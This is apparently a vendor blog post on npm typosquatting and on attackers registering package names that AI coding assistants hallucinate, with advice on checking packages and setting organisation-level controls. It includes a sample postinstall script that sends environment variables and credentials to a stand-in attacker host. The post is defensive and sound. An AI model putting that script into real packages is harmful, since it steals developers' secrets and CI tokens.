Typosquatting on npm: how attackers exploit the packages AI recommends
Por Seaworthy · 26 de abril de 2026
Photo by Alicia Christin Gerald on Unsplash
The attack surface is bigger than you think
Typosquatting on npm is not new. Attackers register packages with names one character away from popular ones, wait for a developer to mistype, and get code execution on their machine or in their CI pipeline. What has changed is the attack surface. AI coding assistants have added a new vector: hallucinated package names.
LLMs occasionally invent packages that do not exist. They sound plausible. They fit the naming conventions of the ecosystem. A developer copies the npm install command, hits enter, and lands on a package an attacker registered specifically for this scenario. The attacker does not need to know which model will hallucinate which name. They just need to watch the npm registry for gaps and fill them with something that executes a payload on install.
I find this genuinely unsettling in a way that plain typosquatting is not. A typo at least implies human error you can train away. A hallucination is the tool lying to you confidently, and you have no obvious signal that anything is wrong.
What these packages actually do
The playbook is consistent across incidents. When you run npm install, npm executes any preinstall or postinstall script defined in package.json. Malicious packages use this to run arbitrary code before you have any chance to inspect what you installed.
In 2023 the everything package on npm listed every public package as a dependency, a different attack but same mechanism. The node-ipc maintainer deliberately shipped malicious code targeting specific IP ranges. The colors and faker packages were sabotaged by their own maintainer. But the more common pattern is silent exfiltration: harvest environment variables, send them to an attacker-controlled server, delete the evidence.
A typical payload looks like this:
// postinstall.js -- the kind of script you find in a malicious package
const https = require('https');
const os = require('os');
const data = JSON.stringify({
hostname: os.hostname(),
user: os.userInfo().username,
env: process.env, // grabs AWS_SECRET_ACCESS_KEY, DATABASE_URL, etc.
cwd: process.cwd(),
});
const req = https.request({
hostname: 'collect.attacker.example',
path: '/c',
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Content-Length': data.length },
});
req.write(data);
req.end();
That is it. No complex obfuscation needed. The package installs, the hook fires, your CI_NPM_TOKEN and database credentials are gone.
How to verify a package before installing
Look at the download count and publish date together. A package claiming to be a utility for a popular framework but published last week with 47 downloads is suspicious. Run npm info <package> to see both.
npm info express-validator --json | jq '{ name: .name, version: .version, created: .time.created, modified: .time.modified }'
Also check the repository link. Legitimate packages almost always link to a GitHub or GitLab repository with real commit history. If package.json has no repository field, or the URL 404s, stop.
Read the postinstall script before installing. You can do this without executing anything:
# Unpack the tarball and inspect package.json without running install scripts
tmpdir=$(mktemp -d)
npm pack <package-name> --pack-destination "$tmpdir"
tar -xzf "$tmpdir"/*.tgz -C "$tmpdir"
cat "$tmpdir"/package/package.json | jq '.scripts'
If you see a preinstall, postinstall, or install script pointing at anything other than a well-understood build step, read it before going any further.
Automated scanning
Manual inspection does not scale. Two tools are worth knowing.
Socket intercepts npm install at the network level, checks packages against a database of known bad actors, and flags install scripts before they run. It integrates with GitHub via a PR comment that lists every package with a risky postinstall. The free tier covers public repos.
npm also ships provenance attestations for packages published via its trusted publishing flow. When a package is built from a GitHub Actions workflow, the registry records a signed statement linking the package to the specific commit and workflow run. You can verify this:
npm audit signatures
This tells you which packages in your current node_modules have a valid provenance attestation and which do not. An attested package is much harder to tamper with in transit.
Organisation-level controls
If you manage a team, individual vigilance is not a policy.
An internal npm mirror (Verdaccio, Artifactory, or npm's own private registry) lets you maintain an allowlist of approved packages. Developers can only install from the mirror. New packages go through a review before they are proxied. This adds friction, but it also means a hallucinated package name simply does not resolve.
If a full mirror feels heavy, a scoped registry config in .npmrc achieves something similar for internal packages:
@mycompany:registry=https://npm.mycompany.internal
This ensures your internal packages cannot be intercepted by a public name collision.
Lock files help too, but only for transitive dependencies you have already resolved. They do nothing the first time you install a hallucinated package name.
The uncomfortable truth
The reason this attack works so well is that the whole developer experience is optimised for speed. Copy a command, run it, move on. The assumption is that the source of the recommendation is trustworthy. When the source is an LLM that invents plausible-sounding names with complete confidence, that assumption breaks quietly.
Verifying packages before install takes maybe thirty seconds. Most developers do not do it because nothing in the workflow asks them to.
Seaworthy flags unverified or suspicious packages in your dependency tree automatically.
Este artículo fue generado por IA y resume fuentes públicamente disponibles.
Seaworthy analiza tu repositorio en busca de los problemas que se tratan en artículos como este.
Brechas de seguridad, secretos expuestos y configuraciones erróneas detectados antes de desplegar. Gratis, sin cuenta necesaria.